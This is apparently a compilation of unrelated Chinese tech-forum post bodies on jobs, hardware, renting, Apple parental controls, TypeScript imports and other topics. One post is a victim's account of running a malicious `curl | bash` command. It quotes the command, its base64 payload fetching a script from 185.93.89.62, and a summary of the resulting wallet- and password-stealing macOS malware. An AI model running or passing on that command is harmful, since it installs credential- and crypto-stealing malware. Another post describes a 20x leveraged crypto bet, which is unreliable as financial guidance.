关于计算机在读的小舅子的就业问题
问一问各位大佬,这两年应届生找程序员工作,应该如何准备?还是当年的算法+八股文吗?
他目前应该对就业没什么想法,家里人让考公,但是考公的难度我认为比找程序员工作更大,且收入少的多。身边太多考的事业编,单月收入三四千的,且分配的地域不满意的亲戚了,感觉还不如让他努力找个程序员工作,性价比更高
小舅子基础情况:北京的民办大学三本,26 年毕业,计算机科学与技术专业
小舅子基础情况:北京的民办大学三本,26 年毕业,计算机科学与技术专业
搜了下 V 站上美股群不多,建一个新群,最多 200 人。
话题是闲聊美股,监控特朗普动向,早点发现新动向,不提供投资建议。
cursor 用的 claude 4.5 sonnet thinking 模型,
每次写代码需要消耗 2 个 requests ,
我这个账号一共就有 500 个 requests ,全烧完了,也没把需求做出来。
需求其实很简单:一个 prompt ,同时调用多个模型,然后在页面返回多个模型的结果
后端也很简单(可能因为我是后端的原因),几个接口,一两张表,很快就弄完了。
主要就卡在前端了,AI 写的 HTML 页面,左一个交互 bug ,右一个样式不对,
每次修好了,让他再增加功能,旧的 bug 有可能会出现。(这是 claude 降智了?)
结果就是,搞了整整两天,还没弄好,cursor 额度也没了,
没吃好也没睡好,纯纯给 AI 工具打工
之前都用 claude code 和 v 友 拼车,结果库库 ban 号,现在也没得用了,
现在有什么好用的平替方案吗?
年轻时候对 30 岁的畅想除了还活着,其他一个没实现哈哈哈哈哈。不过工资虽然低了点,每个月按时有钱拿已经满足了,希望自己继续开开心心~
今天来说一说我开源曾遇到的一件小事。
一个著名的开源项目(十几 K 的 Star ),一个十多年未解决的 issue ,甚至很多人在 issue 里发布了悬赏。
一个新生的同类开源项目,支持那项目同样的核心功能,因底层实现不同,完美解决了那个 issue 遇到的问题。
我曾在那个 issue 里留言,说自己在另一个同类项目里解决了,然后就被隐藏了(没有被删除),大家怎么看?
假如买辆 15 万的车, 电费 1500 元 保险 4000 元 保养 1000 元 停车 3500 元
其他成本: 车辆的折旧费, 贷款利息与损失的理财收益, 出去玩会增加额外开支
成本挺高的...
应聘辅警是气话,我电动车有定位,在凌晨 12 点被偷的,车辆告警了早上我没有注意,以为是震动,然后下午三点报警电池没了,才发现被偷了,晚上报警,警察跟着定位找到了车,但是电池被挖走了,车子最后在两公里外的在建工地上。
偷车人戴着头盔和帽子,工地没有监控,但是附近有非常多的监控,旁边有学校和很多住宅,警察找到车就劝我自己重新买块电池,找到人希望渺茫。我有点气不过,准备 35 岁后辞职去应聘辅警,然后专门查偷电瓶车的。
虽然说电子设备买新不买旧,但是无奈预算有限,只有 6-7K 。 于是考虑二手 M1 芯片,很多人说 CPU 够了,内存一定要大,于是我想的是 二手 M1PRO ,32G + 512 的,淘宝二手店铺在 6.8-7.2K 左右,咸鱼不敢怕被当猪仔,抖音直播间也差不多,但是总感觉抖音电商不靠谱,跟 pdd 差不多。
这款机子还能再战几年?
主要是做日常办公、再加上现在 ai code ,主要写 golang 和 python ,偶尔用用 php 。可能要同时打开十多个网页、cursor 等 AI 编辑器、Navicat 、wps 、微信、QQ 等等。
各位大佬有什么好的建议吗?
我也想买最新的,但是....
https://www.thepaper.cn/newsDetail_forward_31807519
摘抄:
2022 年 3 月起,NSA 利用某国外品牌手机短信服务漏洞,秘密监控 10 余名国家授时中心工作人员,非法窃取手机通讯录、短信、相册、位置信息等数据。2023 年 4 月起,NSA 在“三角测量”行动曝光前,多次于北京时间凌晨,利用在某国外品牌手机中窃取的登录凭证入侵国家授时中心计算机,刺探内部网络建设情况。
背景:leader 最近接手了个嵌入式上的管理后台项目,架构比较古早 Static Web <-> Nginx <-> CGI (C, via Unix Socket) <-> Backend Application (C) <-> Modules 。同事抢了前端部分的工作,我分到了和储存系统相关的后端模块。评审完原型后就开工了,我写好自己模块前端部分 API 的草案后,请前端的同事先帮我 review 一下,结果被怒批了一顿。
从对方比较尖锐的评价里我大概总结出以下几点:
对方观点:
对方理由:
事后也虚心看了下他写的 API ,这里仅以我的视角总结一下他的思路(因保密协议就不贴代码了):
下面说一下这部分我的观点(个人职场新人,非 CS 专业,目前也就做做 embedded infra ,这方面可能不专业):
其它的一些想法:
也想听听大家的建议(比如技术方面或为人处事方面)
嗯,再补充一些细节吧:
(应该还有不少,就不浪费社会资源吐槽了)
需要满足以下要求:
以上,我尝试过许多 Windows 笔记本(联想的 ThinkPad ,惠普的战系列),重装系统到 Linux ,大多会出现续航下降,屏幕也是很难追得上 MacOS 。
说实话,我也觉得 Linux 拿来作为开发比 MacOS 好用。但是找不到合适的设备。
目前使用的是 M3Max MBP 16
趁周末没事折腾了一下自己的 Mac ,下了一堆乱七八糟的软件
刚刚有个网站给了我一个命令,要在终端执行。命令是 /bin/bash -c "$(curl -fsSL shoter.org/c/maxx2)"
感觉是熬夜脑子不清醒了,我真就傻乎乎输入密码执行了脚本,听到 mac 一阵叮叮钉钉的提示音才感觉不对劲
看了一下这个命令实际执行的是 echo "Y3VybCAtcyBodHRwOi8vMTg1LjkzLjg5LjYyL2QvYm9zczU0MjM1IHwgbm9odXAgYmFzaCAm" | base64 -d | bash 会对应执行 http://185.93.89.62/d/boss54235 这上面的脚本
看到这个命令的时候,脑子都凉了,把脚本喂给 Gemini 告诉我说会去执行以下命令
窃取密码 🔑 它会弹出一个伪造的系统对话框,谎称“需要安装应用助手”,诱骗你输入电脑的开机密码。如果你不输入正确的密码,这个对话框会一直骚扰你。
窃取加密货币钱包 💰 (主要目标) 浏览器钱包: 它有一个庞大的列表,专门扫描并窃取数十种加密货币钱包浏览器插件的数据,例如 MetaMask 、Phantom 、Trust Wallet 等。
桌面钱包: 它还会扫描并窃取你电脑上安装的桌面钱包程序数据,例如 Exodus, Atomic, Ledger Live, Coinomi, Electrum 等。
窃取内容包括:保存的登录名和密码、Cookies (可以用来登录你的账户)、历史记录、信用卡信息等。
备忘录 (Notes): 提取你“备忘录”应用里的所有文字内容。
本地文件: 扫描你的“桌面”和“文稿”文件夹,专门寻找 .pdf, .docx, .txt, .wallet, .key 等敏感文件并进行复制。
然后将这个文件上传到黑客的服务器( IP 地址为 185.93.89.62 ,和你之前那个脚本是同一个地址)。
程序木马化: 它会尝试用一个从黑客服务器下载的恶意版本来替换你电脑上正版的 Ledger Live 加密钱包应用。
这个是不是只能重装系统了?我还要做什么来保护自己的账户吗
8 年前一个人来北京,刚开始租了一个自如的次卧,只有一张床大小,放个行李箱都很挤,2300 一个月
后来工资稳定了,在自如换了一个主卧,3900 一个月
再后来自如爆出甲醛房事件,买了张试纸一测,他大爷的试纸都到黄色了,于是在链家租了一个看起来不怎么新的开间 5800 一个月
再后来有孩子,开间住不下了,换成了一个两居室,6300 一个月
刚刚简单算了下这些年在房租上的花销,三十九万五千多还不算乱七八糟的中介费,服务费,商电商水等等
今天是这个房子最后一天,叫了房东收房,这里折旧了,那里不干净了,这个灯不亮了,跟房东大吵一架,最终以扣了 200 押金结束,这辈子没这么气愤过,太他妈憋屈了,可押金在别人手上,又能如何呢。
这些年,吹着冬天不热夏天不冷的空调,用着洗不干净衣服的洗衣机,动不动就堵的厕所,反味比下水道还臭的地漏,还有腰酸背痛的床垫……还有每年出乎意 料的涨房租,猝不及防的房东卖房……
这一切,在今天终于结束了,明晚我就能住到自己家去了,虽然离公司远了点,但这踏马才是生活。所有家具都可以买自己喜欢的,所有电器都可以挑最好的,这么多年的租房让我深刻意识到,租房踏马只是这个城市的干电池,在公司当牛马,给房东打工。
前提:我是公司前端开发,这半年时间根据公司的需求开发了一个 3D 产品。老板和我们团队不在一个城市。
老板对我们开发的 3D 产品外观设计不满意,现在老板绕过我们直属领导,亲自来领导团队重新开发,但是老板是销售出身,没有任何做产品的经验。现在只给了我们 10 天的时间,我们反馈时间来不及,然后他就要求我们 997 。
昨天老板找了一个临时外聘的设计师拉着我们开了一天的需求会议。那个设计师简单的看了看我们的产品,就开始提出他的修改建议。开了 8 个小时的会议,罗列了一大堆需要修改的点。
会议期间,这个设计师和老板助理一起要求我对新的产品需求画原型稿。我就反驳说我是前端开发,画原型稿不应该是我们这边的责任,而且我也不是对新需求最了解的人,我觉得应该由对新需求最熟悉的人,或者提出需求的人来画,但是他们一直强调我对原来的产品最熟悉,所以就一定要我来画原型稿,可是我也没有这种画图的经验啊。
公司老板和我们领导好像闹矛盾了,我们领导对我们还不错的,看待问题也比较专业,客观。导致我对老板的印象越来越不好,所以对这次重构产品抱有抵触心理。
现在原型稿要我画,3D 模型修改了我要负责接入,接口更新了我要负责接入,设计修改了我也要负责实现。我感觉我根本在这点时间里面干不了这么多事。
总结一下就是:我现在好难受,但是又要养家糊口,所以不得不干!
最近给女儿买了个 iPad ,想给她看看英语动画片磨磨耳朵。我看着自己 iPhone 里有个家长控制,想着哎这个挺好,可以控制她使用时间,可没想到啊没想到,这一趟让我真正领教了什么叫做坑爹! OK ,让我们现在开始!
首先,添加儿童账号需要注册一个新的 Apple Id ,那当然要新的邮箱或者手机号咯,那现在注册个邮箱也挺麻烦的,而且国内邮箱安全性也难保证,就想用我自己 gmail 的别名账号吧。结果提示:邮箱已存在。看来应该是苹果不允许使用别名账号,行,手边也正好有一个不用的手机号,那就用手机号吧,注意,这个也是苹果默认的注册方式,看来国内一切还是手机号方便。以为就这么完了,没想到就是这关键一步,让我掉进了一个又一个的坑里!
友情提示:注册儿童账号时一定要选择邮箱账号!!!如果你不想注册国内的邮箱,可以选择“没有邮件地址并获取新的 iCloud 电子邮件地址“。但是!这步以后会不会有其他的坑,那我就不知道了,因为我走的是一条更崎岖的道路!只能怪我在这步眼瞎没看到,之后的事且听我慢慢说来……
紧接着一顿操作完了,打开家长控制一看,唉?怎么没有同步信息?这就难受了呀。小红书上一搜,大把的都是这个问题,都说要添加邮箱账号才行,难道手机号 Apple Id 它不是 Apple Id 吗?看来还是绕不过注册个新邮箱,那就注册吧。好不容易搞定个新邮箱,又要多记一个密码,绑定成功,咦?怎么还是没有同步信息?再一搜,说必须 iCloud 邮箱。可是我愣是没找到如何直接注册一个 iCloud 邮箱后缀的 Apple Id 的方法(还是怪我前面眼瞎!)。又有说需要设置邮箱为主账号,那就从手机号切换到邮箱账号咯,结果到了验证 Apple Id 这步的时候,反反复复提示:登录 iCloud 失效。那怎么办?解绑邮箱从头再来!
又是一顿操作,咦?怎么手机端注册的密码,在 Apple 网页端注册的时候不能用了?手机端纯数字加英文的组合,到了网页端必须要一位特殊字符……行吧,那我再多记个密码吧。密码改完,填写生日,又又出来个提示:你无法创建 Apple 账户,因为你尚未达到最低年龄要求,请家长或监护人设置“家人共享”。合着还不让我直接注册了?再搜!说可以改生日,OK ,填了一个大于 18 岁的出生年,注册成功!添加家庭组成员,成功!显示多了一个成人家庭成员,开始修改生日……嗯?居然不是立刻生效?还需要家长确认?且只能通过邮件确认?行吧,不就是确认嘛,打开邮箱,我确认……我确认了半天,发觉这个确认链接是无效的!不知道是不是 hotmail 和苹果邮件八字不合,我看了下邮件源码,确认链接里的斜杠全被替换成了其他乱七八糟的字符!还好我会武功,找出链接改一下,终于能打开了,到了这步,又要确认!需要确认家长账号下的支付方式信息!?
如果说子女修改生日需要家长确认我还能理解,为啥家长同意还需要确认支付信息?!不管这么多了!翻出自己的信用卡,输入安全码……错误!我使劲看了看我的信用卡,有效期……没错,安全码……没错,那到底是他妈什么地方错了?你每个月钱不都扣着吗?!是不是信息不同步了?那我再更新一次银行卡信息行不行?好嘛,填完信用卡号安全码,又要银行短信确认,我已经记不清确认了多少步了,但是这一步绝对是我最绝望的一步:
短信验证码错误!
我打出娘胎以来,确认过无数短信,只遇到过收不到确认码,但还从来没遇到过确认短信确认不了的!虽然每一次输验证码都隐约觉得会不会验证不了,可这件事终究是从来都没发生过。可就在今天!终于在这给我遇到了!码,是银联发的,错,是苹果报的,我不知道这个锅该给谁。总之我试了无数次,直到手机号再也无法收到验证码……但是好在天无绝人之路,我想到了我还可以绑支付宝啊,终于在输入支付宝确认码的那一刻,我女儿终于变回了 4 岁!
到了这步,我终于可以在家长账号里看到设置女儿 iPad 的屏幕时间了!你以为完了吗? NO !别忘了还有一个手机注册的儿童账号挂在家庭组里呢!作为强迫症患者,你不得把它给踢掉?打开家庭组成员,提示:提示未成年账号只能转移家庭,若要迁出,需等该组成员成年!
苹果我告诉你,我等不及了我!换个姿势再来一次,改生日,又是那个无法确认的确认邮件,又是那个莫名其妙的链接,好在这次支付宝没有为难我,到此大功告成!!!
我看过那么多果黑,我觉得他们都没有说到重点,也从来没真正说服过我。但如果下次再有人问,我想说,让他试试苹果网页服务,还有家庭成员和家长控制,也许那个打不开的链接,大概是 hotmail 邮箱的问题吧……也许那个确认不了的验证码,是银联的锅吧……但是请问,为什么手机号注册的 Apple Id ,它就共享不了家庭屏幕时间呢?为什么确认它确认个生日信息,还需要验证支付方式呢?为什么那个 iCloud ,它就始终验证不了呢?如果有家长搜到这篇文章,但愿它能帮你少走些弯路,也算是我熬夜折腾到现在积了德了好吧……
背景:几个人的创业团队,产品没发布,盈利能力未知,之前用的学生,它们想找个全职前端,做 ai 绘图模型的出海细分应用,ai 插画实物书,还有个 uniapp 商城一起维护,没有明说不加班,说辞模糊
没设计,没产品,前后端比值大概 1:4 ,
工资组成:基础(目测最低)+绩效,其他没有
个人感觉:感觉它们自研模型很难和 qwen-image 等这些模型拉开很大的差距,如果真的做成了其他公司过来复制赛道的难度不会特别高
不知道 v2 各位觉得意下如何哈哈
假设在 ./utils/calcute.ts
中有一个工具函数 add()
export function add(a: number, b: number): number {
return a + b;
}
然后我们在 main.ts 中需要使用这个 add 函数
tsconfig 配置 module=esnext ,然后假设有如下 main.ts
文件
import { add } from "./utils/calcute";
add(1,2)
使用 tsc 编译后使用 node 运行编译后的 js 文件会报错
node ./dist/main.js
... 省略
code: 'ERR_UNSUPPORTED_DIR_IMPORT',
url: 'file:///home/xxxxxx/dist/utils/calcute'
原因是现在的 node 处理 esm 的 import 需要指定具体文件名(即类似 import ./utils/calcute.js
)。不写扩展名的 import 会报错
而 typescript 编译代码对 import 内 from "xxxx"
的部分是不会做任何处理直接保留的。按照 ts 官方的意思就是这部分是模块解析,不应该是 typescript 的工作而应交给 js 运行时(如 node 、浏览器)自己处理,所以 tsc 编译 ts 文件是会完整保留这部分不做任何变动的
基于这种方针,于是就有了两种解法
tsconfig 配置 module=nodenext 和 moduleResolution=nodenext ,然后 main.ts
内容如下
import { add } from "./utils/calcute.js"; // 需要添加 .js 扩展名
add(1,2)
说真的,当年我接触到这种写法的时候是大受震撼的。 在 ts 文件中写 import .js 实在过于丑陋了。我不解、我不适应、我无法接受
但这样的代码经过 tsc 编译后就能正常被 node 执行了,我也只能捏着鼻子用了
本来以为 esm 的问题也就这样了,但没想到到了 2025 年就乱套了
因为 bun, deno 的竞争,不思进取的 node 终于开始迭代起功能了。甚至还破天荒地添加了直接执行 typescript 代码的功能(运行的时候直接丢弃类型信息把 ts 当 js 跑)
这个功能现在在在新 node 中已经默认开启可用了,并且 typescript 也为了这个功能添加多个更新。所以可以预见今后用 node 直接执行 ts 会多起来
然后,这个功能在 esm 上就不出意外得出意外了。还是上面的代码 main.ts
内容如下:
import { add } from "./utils/calcute.js"; // 需要添加 .js 扩展名
add(1,2)
使用 node main.ts
执行后直接报错
node main.ts
... 省略
code: 'ERR_MODULE_NOT_FOUND',
url: 'file:///home/xxxxxxxx/utils/calcute.js'
嗯,因为模块的代码位于文件 utils/calcute.ts
中,而 import 语句中写的是 ./utils/calcute.js
,所以 node 理所当然的找不到对应的模块文件报错了
所以为了解决这个问题,tsconfig 后来添加了一个选项 allowImportingTsExtensions ,开启后在 main.ts
中需要将 import 改写成 import .ts 的形式
import { add } from "./utils/calcute.ts"; // 需要 import .ts ,而不是.js
add(1,2)
嗯,当年 typescript 的回旋镖就这么砸了回来,现在我们又必须在 ts 文件中写 import .ts 了。并且为了兼容这种写法 typesript 现在还不得不添加新的编译选项 allowImportingTsExtensions
来允许在 ts 文件中 import .ts
但是,这有个问题,启用这个选项必须也启用 noEmit ,也就是说在 typescript 官方那的说法是:我们没有被打脸啊,我们依旧不处理 import 的内容,你想 import .ts 可以,但是你这样写了的话就别用我们的 tsc 来把这种代码编译成 js 了
但问题是实际上开发中,使用 node 直接执行 ts 文件测试,然后在生产环境中使用 tsc 或其他工具编译成 js 运行会很常见
于是如果你想直接 node 执行 ts 代码,那就得放弃将使用 tsc 将代码编译为 js
目前这 esm import 写法已经乱成这样了,大家平时会怎么选?
我司早期给研发配的是 Windows 台式机:CPU (是几年前入职时的那一代)、16GB 内存、512GB SSD 。 算是能用,但多开几个项目或者跑 Docker 就开始喘。好在内存可以申请升级,我升到 24GB 后才算稳定一点。
后来陆续看到领导、产品等都换成了 MacBook (具体配置不详)。
过了很久一段时间,我们这些底层🐮🐎研发也终于轮到更新设备 —— Mac mini M4 16GB 内存。
结果实际体验: 日常使用没问题,但多开几个 IDE 、再跑 Docker 和十几个标签页后, 系统就开始有点吃紧,响应明显变慢,偶尔会操作卡顿(不确定是否为系统 BUG )。 一看监控,Swap 已经跑到 11GB+ 😅
更离谱的是,客服那边配的是 MacBook Air M3 16GB 内存,比我们这台 Mac mini 至少贵两千多。
明明同一批更新,为什么不给研发多点内存预算呢 🤷
💬 想问问大家:
双持安卓苹果,都支持 5G ,但是一打开之后耗电明显增加,安卓大电池都耗不住。
有人说这是因为太偏僻了,基站少,但是我坐标上海内环,上班的时候安卓开 5G 可以正常上网,苹果开 5G 之后就时不时不能上网,索性直接把安卓和苹果的 5G 全都关了
那么把 5G 关掉之后有什么体验下降呢?完全没有,反而耗电量减少,信号稳定,纯纯体验提升了一个档次
昨天下午看到有 v 友在帖子回复里聊到川普币,研究了一下。 川普币从最高 $80 一个跌到了只有$5, 跌去了将近 95% 。 作为 meme 代币的龙头(和 doge 相对,差不多是龙头吧),我觉得归零的概率不大,目前这个点位是有投资价值的,抄底问题不大。 除了每个月会解锁一部分锁仓的代币以外,其他的风险就在于特朗普本人的操作了,小仓位入 20 倍全仓做多了。不设置止盈,看向$10 。
iPhone 手机,只有内存才是最关键的参数指标